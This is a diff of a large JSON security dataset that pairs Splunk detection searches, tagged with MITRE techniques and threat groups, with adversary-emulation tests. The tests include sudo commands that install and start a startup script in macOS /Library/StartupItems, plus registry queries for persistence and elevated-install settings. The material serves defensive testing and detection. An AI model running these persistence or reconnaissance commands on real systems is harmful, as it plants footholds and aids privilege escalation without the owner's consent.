"Elderwood", - "Ember Bear", - "Higaisa", - "Inception", - "Lazarus Group", - "Leviathan", - "MuddyWater", - "Mustang Panda", - "Patchwork", - "Sandworm Team", - "Sidewinder", - "TA459", - "The White Company", - "Threat Group-3390", - "Tonto Team", - "Transparent Tribe", - "Tropic Trooper", - "admin@338" - ] - } - ] - } - }, - { - "name": "Detect Windows DNS SIGRed via Splunk Stream", - "description": "The following analytic detects attempts to exploit the SIGRed vulnerability (CVE-2020-1350) in Windows DNS servers. It leverages Splunk Stream DNS and TCP data to identify DNS SIG and KEY records, as well as TCP payloads exceeding 65KB. This activity is significant because SIGRed is a critical wormable vulnerability that allows remote code execution. If confirmed malicious, an attacker could gain unauthorized access, execute arbitrary code, and potentially disrupt services, leading to severe data breaches and infrastructure compromise. Immediate investigation and remediation are crucial to mitigate these risks.", - "search": "`stream_dns` | spath \"query_type{}\" | search \"query_type{}\" IN (SIG,KEY) | spath protocol_stack | search protocol_stack=\"ip:tcp:dns\" | append [search `stream_tcp` bytes_out>65000] | `detect_windows_dns_sigred_via_splunk_stream_filter` | stats count by flow_id | where count>1 | fields - count", - "tags": { - "analytic_story": [ - "Windows DNS SIGRed CVE-2020-1350" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Other", - "role": [ - "Other" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1203", - "mitre_attack_technique": "Exploitation for Client Execution", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT12", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT37", - "APT41", - "Andariel", - "Aoqin Dragon", - "Axiom", - "BITTER", - "BRONZE BUTLER", - "BlackTech", - "Cobalt Group", - "Confucius", - "Darkhotel", - "Dragonfly", - "EXOTIC LILY", - "Elderwood", - "Ember Bear", - "Higaisa", - "Inception", - "Lazarus Group", - "Leviathan", - "MuddyWater", - "Mustang Panda", - "Patchwork", - "Sandworm Team", - "Sidewinder", - "TA459", - "The White Company", - "Threat Group-3390", - "Tonto Team", - "Transparent Tribe", - "Tropic Trooper", - "admin@338" - ] - } - ] - } - }, - { - "name": "Detect Windows DNS SIGRed via Zeek", - "description": "The following analytic detects the presence of SIGRed, a critical DNS vulnerability, using Zeek DNS and Zeek Conn data. It identifies specific DNS query types (SIG and KEY) and checks for high data transfer within a flow. This detection is significant because SIGRed allows attackers to execute remote code on Windows DNS servers, potentially leading to unauthorized access and control. If confirmed malicious, this activity could result in data exfiltration, service disruption, or further network compromise. Immediate investigation and mitigation, such as patching or isolating the affected server, are crucial.", - "search": "| tstats `security_content_summariesonly` count from datamodel=Network_Resolution where DNS.query_type IN (SIG,KEY) by DNS.flow_id | rename DNS.flow_id as flow_id | append [| tstats `security_content_summariesonly` count from datamodel=Network_Traffic where All_Traffic.bytes_in>65000 by All_Traffic.flow_id | rename All_Traffic.flow_id as flow_id] | `detect_windows_dns_sigred_via_zeek_filter` | stats count by flow_id | where count>1 | fields - count ", - "tags": { - "analytic_story": [ - "Windows DNS SIGRed CVE-2020-1350" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Other", - "role": [ - "Other" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1203", - "mitre_attack_technique": "Exploitation for Client Execution", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT12", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT37", - "APT41", - "Andariel", - "Aoqin Dragon", - "Axiom", - "BITTER", - "BRONZE BUTLER", - "BlackTech", - "Cobalt Group", - "Confucius", - "Darkhotel", - "Dragonfly", - "EXOTIC LILY", - "Elderwood", - "Ember Bear", - "Higaisa", - "Inception", - "Lazarus Group", - "Leviathan", - "MuddyWater", - "Mustang Panda", - "Patchwork", - "Sandworm Team", - "Sidewinder", - "TA459", - "The White Company", - "Threat Group-3390", - "Tonto Team", - "Transparent Tribe", - "Tropic Trooper", - "admin@338" - ] - } - ] - } - } + ] ], "external_reference": [ "https://www.nextron-systems.com/2018/09/08/antivirus-event-analysis-cheat-sheet-v1-4/", @@ -596591,87 +397291,6 @@ "https://tools.ietf.org/id/draft-ietf-opsawg-tacacs-07.html#rfc.section.7.2", "https://tools.ietf.org/html/rfc2866" ] - }, - { - "name": "Gsuite Drive Share In External Email", - "description": "The following analytic detects Google Drive or Google Docs files shared externally from an internal domain. It leverages GSuite Drive logs, extracting and comparing the source and destination email domains to identify external sharing. This activity is significant as it may indicate potential data exfiltration by an attacker or insider. If confirmed malicious, this could lead to unauthorized access to sensitive information, data leakage, and potential compliance violations. Monitoring this behavior helps in early detection and mitigation of data breaches.", - "search": "`gsuite_drive` NOT (email IN(\"\", \"null\")) | rex field=parameters.owner \"[^@]+@(?[^@]+)\" | rex field=email \"[^@]+@(?[^@]+)\" | where src_domain = \"internal_test_email.com\" and not dest_domain = \"internal_test_email.com\" | eval phase=\"plan\" | eval severity=\"low\" | stats values(parameters.doc_title) as doc_title, values(parameters.doc_type) as doc_types, values(email) as dst_email_list, values(parameters.visibility) as visibility, values(parameters.doc_id) as doc_id, count min(_time) as firstTime max(_time) as lastTime by parameters.owner ip_address phase severity | rename parameters.owner as user ip_address as src_ip | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `gsuite_drive_share_in_external_email_filter`", - "tags": { - "analytic_story": [ - "Dev Sec Ops", - "Insider Threat" - ], - "asset_type": "GSuite", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Actions on Objectives" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "parameters.owner", - "type": "User", - "role": [ - "Attacker" - ] - }, - { - "name": "email", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "suspicious share gdrive from $parameters.owner$ to $email$ namely as $parameters.doc_title$", - "risk_score": 72, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1567.002", - "mitre_attack_technique": "Exfiltration to Cloud Storage", - "mitre_attack_tactics": [ - "Exfiltration" - ], - "mitre_attack_groups": [ - "Akira", - "Chimera", - "Cinnamon Tempest", - "Confucius", - "Earth Lusca", - "FIN7", - "HAFNIUM", - "HEXANE", - "Kimsuky", - "Leviathan", - "LuminousMoth", - "POLONIUM", - "Scattered Spider", - "Threat Group-3390", - "ToddyCat", - "Turla", - "Wizard Spider", - "ZIRCONIUM" - ] - }, - { - "mitre_attack_id": "T1567", - "mitre_attack_technique": "Exfiltration Over Web Service", - "mitre_attack_tactics": [ - "Exfiltration" - ], - "mitre_attack_groups": [ - "APT28", - "Magic Hound" - ] - } - ] - } } ], "external_reference": [ @@ -597699,82 +398318,6 @@ "https://docs.microsoft.com/en-us/windows/win32/fileio/file-streams", "https://docs.microsoft.com/en-us/troubleshoot/windows-client/backup-and-storage/fat-hpfs-and-ntfs-file-systems" ] - }, - { - "name": "Windows Lateral Tool Transfer RemCom", - "description": "The following analytic identifies the execution of RemCom.exe, an open-source alternative to PsExec, used for lateral movement and remote command execution. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names, original file names, and command-line arguments. This activity is significant as it indicates potential lateral movement within the network. If confirmed malicious, this could allow an attacker to execute commands remotely, potentially leading to further compromise and control over additional systems within the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name=remcom.exe OR Processes.original_file_name=RemCom.exe) Processes.process=\"*\\\\*\" Processes.process IN (\"*/user:*\", \"*/pwd:*\") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_lateral_tool_transfer_remcom_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ attempting to move laterally.", - "risk_score": 40, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1570", - "mitre_attack_technique": "Lateral Tool Transfer", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "APT32", - "APT41", - "Aoqin Dragon", - "Chimera", - "FIN10", - "GALLIUM", - "Magic Hound", - "Sandworm Team", - "Turla", - "Volt Typhoon", - "Wizard Spider" - ] - } - ] - } } ], "external_reference": [ @@ -598174,83 +398717,6 @@ "references": [ "https://docs.microsoft.com/en-us/windows/win32/procthread/processes-and-threads" ] - }, - { - "name": "Detect Path Interception By Creation Of program exe", - "description": "The following analytic identifies the creation of a program executable in an unquoted service path, a common technique for privilege escalation. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process creation events where the parent process is 'services.exe'. This activity is significant because unquoted service paths can be exploited by attackers to execute arbitrary code with elevated privileges. If confirmed malicious, this could allow an attacker to gain higher-level access, potentially leading to full system compromise and persistent control over the affected endpoint.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.parent_process_name=services.exe by Processes.user Processes.process_name Processes.parent_process_name Processes.process Processes.dest | `drop_dm_object_name(Processes)` | rex field=process \"^.*?\\\\\\\\(?[^\\\\\\\\]*\\.(?:exe|bat|com|ps1))\" | eval process_name = lower(process_name) | eval service_process = lower(service_process) | where process_name != service_process | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `detect_path_interception_by_creation_of_program_exe_filter`", - "tags": { - "analytic_story": [ - "Windows Persistence Techniques" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ attempting to perform privilege escalation by using unquoted service paths.", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1574.009", - "mitre_attack_technique": "Path Interception by Unquoted Path", - "mitre_attack_tactics": [ - "Defense Evasion", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1574", - "mitre_attack_technique": "Hijack Execution Flow", - "mitre_attack_tactics": [ - "Defense Evasion", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } } ], "external_reference": [ @@ -598683,7 +399149,9 @@ } ], "command_list": [ - "sudo touch /Library/StartupItems/EvilStartup.plist\n" + "sudo touch /Library/StartupItems/EvilStartup.plist\n", + "sudo cp /T1037.005/src/StartupParameters.plist /Library/StartupItems/StartupParameters.plist\nsudo cp /T1037.005/src/T1037.005_daemon.sh /Library/StartupItems/atomic.sh\nsudo cp /T1037.005/src/T1037_005_daemon.plist /tmp/T1037_005_daemon.plist\nsudo /Library/StartupItems/atomic.sh start\n", + "sudo cp /T1037.005/src/StartupParameters.plist /Library/StartupItems/StartupParameters.plist\nsudo cp /T1037.005/src/T1037.005_agent.sh /Library/StartupItems/atomic.sh\nsudo cp /T1037.005/src/T1037_005_agent.plist /tmp/T1037_005_agent.plist\n/Library/StartupItems/atomic.sh start\n" ], "commands": [], "queries": [], @@ -598698,7 +399166,7 @@ { "name": "Add file to Local Library StartupItems", "auto_generated_guid": "134627c3-75db-410e-bff8-7a920075f198", - "description": "Modify or create an file in /Library/StartupItems\n\n[Reference](https://www.alienvault.com/blogs/labs-research/diversity-in-recent-mac-malware)\n", + "description": "Modify or create an file in /Library/StartupItems\n[Reference](https://www.alienvault.com/blogs/labs-research/diversity-in-recent-mac-malware)\n", "supported_platforms": [ "macos" ], @@ -598708,6 +399176,104 @@ "name": "sh", "elevation_required": true } + }, + { + "name": "Add launch script to launch daemon", + "auto_generated_guid": "fc369906-90c7-4a15-86fd-d37da624dde6", + "description": "Add launch script to /Library/StartupItems to launch agent\n[Example](https://cybersecurity.att.com/blogs/labs-research/diversity-in-recent-mac-malware)\n", + "supported_platforms": [ + "macos" + ], + "input_arguments": { + "path_malicious_script": { + "description": "Name of script to store in cron folder", + "type": "string", + "default": "$PathToAtomicsFolder/T1037.005/src/T1037.005_daemon.sh" + }, + "path_malicious_plist": { + "description": "Name of file to store in /tmp", + "type": "string", + "default": "$PathToAtomicsFolder/T1037.005/src/T1037_005_daemon.plist" + }, + "path_startup_params": { + "description": "Name of plist with startup params", + "type": "string", + "default": "$PathToAtomicsFolder/T1037.005/src/StartupParameters.plist" + } + }, + "dependency_executor_name": "bash", + "dependencies": [ + { + "description": "/Library/StartupItems must exist\n", + "prereq_command": "if [ ! -d /Library/StartupItems ]; then mkdir /Library/StartupItems; exit 0; fi;\n", + "get_prereq_command": "echo \"Failed to create /Library/StartupItems\"; exit 1;\n" + }, + { + "description": "The shared library must exist on disk at specified location (#{path_malicious_plist})\n", + "prereq_command": "if [ -f #{path_malicious_plist} ]; then exit 0; else exit 1; fi;\n", + "get_prereq_command": "echo \"The plist file doesn't exist. Check the path and try again.\"; exit 1;\n" + }, + { + "description": "The startup script must exist on disk at specified location (#{path_malicious_script})\n", + "prereq_command": "if [ -f #{path_malicious_script} ]; then exit 0; else exit 1; fi;\n", + "get_prereq_command": "echo \"The startup script doesn't exist. Check the path and try again.\"; exit 1;\n" + } + ], + "executor": { + "name": "bash", + "elevation_required": true, + "command": "sudo cp #{path_startup_params} /Library/StartupItems/StartupParameters.plist\nsudo cp #{path_malicious_script} /Library/StartupItems/atomic.sh\nsudo cp #{path_malicious_plist} /tmp/T1037_005_daemon.plist\nsudo /Library/StartupItems/atomic.sh start\n", + "cleanup_command": "sudo launchctl unload /tmp/T1037_005_daemon.plist\nsudo rm /tmp/T1037_005_daemon.plist\nsudo rm /Library/StartupItems/atomic.sh\nsudo rm /Library/StartupItems/StartupParameters.plist\nsudo rm /tmp/T1037_005_daemon.txt\n" + } + }, + { + "name": "Add launch script to launch agent", + "auto_generated_guid": "10cf5bec-49dd-4ebf-8077-8f47e420096f", + "description": "Add launch script to /Library/StartupItems to launch agent\n[Example](https://cybersecurity.att.com/blogs/labs-research/diversity-in-recent-mac-malware)\n", + "supported_platforms": [ + "macos" + ], + "input_arguments": { + "path_malicious_script": { + "description": "Name of script to store in cron folder", + "type": "string", + "default": "$PathToAtomicsFolder/T1037.005/src/T1037.005_agent.sh" + }, + "path_malicious_plist": { + "description": "Name of file to store in /tmp", + "type": "string", + "default": "$PathToAtomicsFolder/T1037.005/src/T1037_005_agent.plist" + }, + "path_startup_params": { + "description": "Name of plist with startup params", + "type": "string", + "default": "$PathToAtomicsFolder/T1037.005/src/StartupParameters.plist" + } + }, + "dependency_executor_name": "bash", + "dependencies": [ + { + "description": "/Library/StartupItems must exist\n", + "prereq_command": "if [ ! -d /Library/StartupItems ]; then mkdir /Library/StartupItems; exit 0; fi;\n", + "get_prereq_command": "echo \"Failed to create /Library/StartupItems\"; exit 1;\n" + }, + { + "description": "The shared library must exist on disk at specified location (#{path_malicious_plist})\n", + "prereq_command": "if [ -f #{path_malicious_plist} ]; then exit 0; else exit 1; fi;\n", + "get_prereq_command": "echo \"The plist file doesn't exist. Check the path and try again.\"; exit 1;\n" + }, + { + "description": "The startup script must exist on disk at specified location (#{path_malicious_script})\n", + "prereq_command": "if [ -f #{path_malicious_script} ]; then exit 0; else exit 1; fi;\n", + "get_prereq_command": "echo \"The startup script doesn't exist. Check the path and try again.\"; exit 1;\n" + } + ], + "executor": { + "name": "bash", + "elevation_required": true, + "command": "sudo cp #{path_startup_params} /Library/StartupItems/StartupParameters.plist\nsudo cp #{path_malicious_script} /Library/StartupItems/atomic.sh\nsudo cp #{path_malicious_plist} /tmp/T1037_005_agent.plist\n/Library/StartupItems/atomic.sh start\n", + "cleanup_command": "sudo launchctl unload /tmp/T1037_005_agent.plist\nsudo rm /tmp/T1037_005_agent.plist\nsudo rm /Library/StartupItems/atomic.sh\nsudo rm /Library/StartupItems/StartupParameters.plist\nsudo rm /tmp/T1037_005_agent.txt" + } } ] } @@ -599974,7 +400540,8 @@ "locale\n", "localectl status\n", "[ -f /etc/locale.conf ] && cat /etc/locale.conf || cat /etc/default/locale\n", - "env | grep LANG\nprintenv LANG\nset | grep LANG\n" + "env | grep LANG\nprintenv LANG\nset | grep LANG\n", + "dism.exe /online /Get-Intl\n" ], "commands": [], "queries": [], @@ -600073,6 +400640,19 @@ "command": "env | grep LANG\nprintenv LANG\nset | grep LANG\n", "name": "sh" } + }, + { + "name": "Discover System Language with dism.exe", + "auto_generated_guid": "69f625ba-938f-4900-bdff-82ada3df5d9c", + "description": "The Windows utility DISM (Deployment Image Servicing and Management) can be used to display information about international settings and languages on the currently installed Windows image using an elevated terminal.\n", + "supported_platforms": [ + "windows" + ], + "executor": { + "name": "command_prompt", + "elevation_required": true, + "command": "dism.exe /online /Get-Intl\n" + } } ] } @@ -600842,149 +401422,7 @@ "Event ID": null, "Event Name": "Netflow/Enclave netflow" } - ], - { - "name": "Linux Proxy Socks Curl", - "description": "The following analytic detects the use of the `curl` command with proxy-related arguments such as `-x`, `socks`, `--preproxy`, and `--proxy`. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on command-line executions and process details. This activity is significant as it may indicate an adversary attempting to use a proxy to evade network monitoring and obscure their actions. If confirmed malicious, this behavior could allow attackers to bypass security controls, making it difficult to track their activities and potentially leading to unauthorized data access or exfiltration.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=curl Processes.process IN (\"*-x *\", \"*socks4a://*\", \"*socks5h://*\", \"*socks4://*\",\"*socks5://*\", \"*--preproxy *\", \"--proxy*\") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_proxy_socks_curl_filter`", - "tags": { - "analytic_story": [ - "Ingress Tool Transfer", - "Linux Living Off The Land" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Command and Control" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $process_name$ was identified on endpoint $dest$ by user $user$ utilizing a proxy. Review activity for further details.", - "risk_score": 56, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1090", - "mitre_attack_technique": "Proxy", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "APT41", - "Blue Mockingbird", - "Cinnamon Tempest", - "CopyKittens", - "Earth Lusca", - "Fox Kitten", - "LAPSUS$", - "Magic Hound", - "MoustachedBouncer", - "POLONIUM", - "Sandworm Team", - "Turla", - "Volt Typhoon", - "Windigo" - ] - }, - { - "mitre_attack_id": "T1095", - "mitre_attack_technique": "Non-Application Layer Protocol", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "APT3", - "BITTER", - "BackdoorDiplomacy", - "FIN6", - "HAFNIUM", - "Metador", - "PLATINUM", - "ToddyCat" - ] - } - ] - } - }, - { - "name": "Detect Large Outbound ICMP Packets", - "description": "The following analytic identifies outbound ICMP packets with a size larger than 1,000 bytes. It leverages the Network_Traffic data model to detect unusually large ICMP packets that are not blocked and are destined for external IP addresses. This activity is significant because threat actors often use ICMP for command and control communication, and large ICMP packets can indicate data exfiltration or other malicious activities. If confirmed malicious, this could allow attackers to maintain covert communication channels, exfiltrate sensitive data, or further compromise the network.", - "search": "| tstats `security_content_summariesonly` count earliest(_time) as firstTime latest(_time) as lastTime values(All_Traffic.action) values(All_Traffic.bytes) from datamodel=Network_Traffic where All_Traffic.action !=blocked All_Traffic.dest_category !=internal (All_Traffic.protocol=icmp OR All_Traffic.transport=icmp) All_Traffic.bytes > 1000 by All_Traffic.src_ip All_Traffic.dest_ip | `drop_dm_object_name(\"All_Traffic\")` | search ( dest_ip!=10.0.0.0/8 AND dest_ip!=172.16.0.0/12 AND dest_ip!=192.168.0.0/16) | `security_content_ctime(firstTime)`|`security_content_ctime(lastTime)` | `detect_large_outbound_icmp_packets_filter`", - "tags": { - "analytic_story": [ - "Command And Control" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Command and Control" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1095", - "mitre_attack_technique": "Non-Application Layer Protocol", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "APT3", - "BITTER", - "BackdoorDiplomacy", - "FIN6", - "HAFNIUM", - "Metador", - "PLATINUM", - "ToddyCat" - ] - } - ] - } - } + ] ], "external_reference": [ "https://www.fireeye.com/blog/threat-research/2018/11/not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt29-phishing-campaign.html", @@ -602026,52 +402464,6 @@ "source_data_element": "network traffic", "relationship": "contained", "target_data_element": "remote code execution traffic" - }, - { - "name": "Splunk Protocol Impersonation Weak Encryption Configuration", - "description": "The following analytic identifies weak encryption configurations in Splunk related to TLS validation within the httplib and urllib Python libraries. It uses REST API calls to check specific configuration settings on the search head and its peers, ensuring compliance with security advisories. This activity is significant for a SOC as weak encryption can be exploited for protocol impersonation attacks, leading to unauthorized access. If confirmed malicious, attackers could intercept and manipulate data, compromising the integrity and confidentiality of the Splunk environment.", - "search": "| rest /services/server/info | table splunk_server version server_roles | join splunk_server [| rest /servicesNS/nobody/search/configs/conf-server/ search=\"PythonSslClientConfig\" | table splunk_server sslVerifyServerCert sslVerifyServerName] | join splunk_server [| rest /servicesNS/nobody/search/configs/conf-web/settings | table splunk_server serverCert sslVersions] | rename sslVerifyServerCert as \"Server.conf:PythonSSLClientConfig:sslVerifyServerCert\", sslVerifyServerName as \"Server.conf:PythonSSLClientConfig:sslVerifyServerName\", serverCert as \"Web.conf:Settings:serverCert\", sslVersions as \"Web.conf:Settings:sslVersions\" | `splunk_protocol_impersonation_weak_encryption_configuration_filter`", - "tags": { - "analytic_story": [ - "Splunk Vulnerabilities" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Command and Control" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "splunk_server", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "$splunk_server$ may not be properly validating TLS Certificates", - "risk_score": 50, - "security_domain": "threat", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1001.003", - "mitre_attack_technique": "Protocol Impersonation", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "Higaisa", - "Lazarus Group" - ] - } - ] - } } ], "external_reference": [], @@ -602150,6 +402542,7 @@ "reg query \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows\"\nreg query HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce\nreg query HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce\nreg query HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices\nreg query HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices\nreg query \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Notify\"\nreg query \"HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Userinit\"\nreg query \"HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\\\Shell\"\nreg query \"HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\\\Shell\"\nreg query HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\ShellServiceObjectDelayLoad\nreg query HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\nreg query HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\nreg query HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\nreg query HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\nreg query HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\nreg query HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\nreg query HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\nreg query HKLM\\system\\currentcontrolset\\services /s | findstr ImagePath 2>nul | findstr /Ri \".*\\.sys$\"\nreg query HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\nreg query HKLM\\SYSTEM\\CurrentControlSet\\Control\\SafeBoot\nreg query \"HKLM\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\"\nreg query \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Group Policy\\Scripts\\Startup\"\n", "Get-Item -Path \"HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows\"\nGet-ChildItem -Path \"HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\\" | findstr Windows\nGet-Item -Path \"HKLM:Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce\"\nGet-Item -Path \"HKCU:Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce\"\nGet-Item -Path \"HKLM:Software\\Microsoft\\Windows\\CurrentVersion\\RunServices\"\nGet-Item -Path \"HKCU:Software\\Microsoft\\Windows\\CurrentVersion\\RunServices\"\nGet-Item -Path \"HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Notify\"\nGet-Item -Path \"HKLM:Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Userinit\"\nGet-Item -Path \"HKCU:Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\\\Shell\"\nGet-Item -Path \"HKLM:Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\\\Shell\"\nGet-Item -Path \"HKLM:SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\ShellServiceObjectDelayLoad\"\nGet-Item -Path \"HKLM:Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\"\nGet-Item -Path \"HKLM:Software\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\"\nGet-Item -Path \"HKLM:Software\\Microsoft\\Windows\\CurrentVersion\\Run\"\nGet-Item -Path \"HKCU:Software\\Microsoft\\Windows\\CurrentVersion\\Run\"\nGet-Item -Path \"HKCU:Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\"\nGet-Item -Path \"HKLM:Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\"\nGet-Item -Path \"HKCU:Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\"\nGet-ChildItem -Path \"HKLM:system\\currentcontrolset\\services\" \nGet-Item -Path \"HKLM:Software\\Microsoft\\Windows\\CurrentVersion\\Run\"\nGet-Item -Path \"HKLM:SYSTEM\\CurrentControlSet\\Control\\SafeBoot\"\nGet-ChildItem -Path \"HKLM:SOFTWARE\\Microsoft\\Active Setup\\Installed Components\"\nGet-ChildItem -Path \"HKLM:SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Group Policy\\Scripts\\Startup\"\n", "New-PSDrive -PSProvider registry -Root HKEY_CLASSES_ROOT -Name HKCR\nGet-ChildItem -Path HKCR:\\CLSID -Name | Select -Skip 1 > $env:temp\\clsids.txt\nForEach($CLSID in Get-Content \"$env:temp\\clsids.txt\")\n{try{write-output \"$($Position)-$($CLSID)\"\nwrite-output \"------------\"| out-file $env:temp\\T1592.002Test1.txt -append\nwrite-output $($CLSID)| out-file $env:temp\\T1592.002Test1.txt -append\n$handle=[activator]::CreateInstance([type]::GetTypeFromCLSID($CLSID))\n$handle | get-member -erroraction silentlycontinue | out-file $env:temp\\T1592.002Test1.txt -append\n$position += 1} catch{}}\n", + "reg query HKCU\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer /v AlwaysInstallElevated\nreg query HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer /v 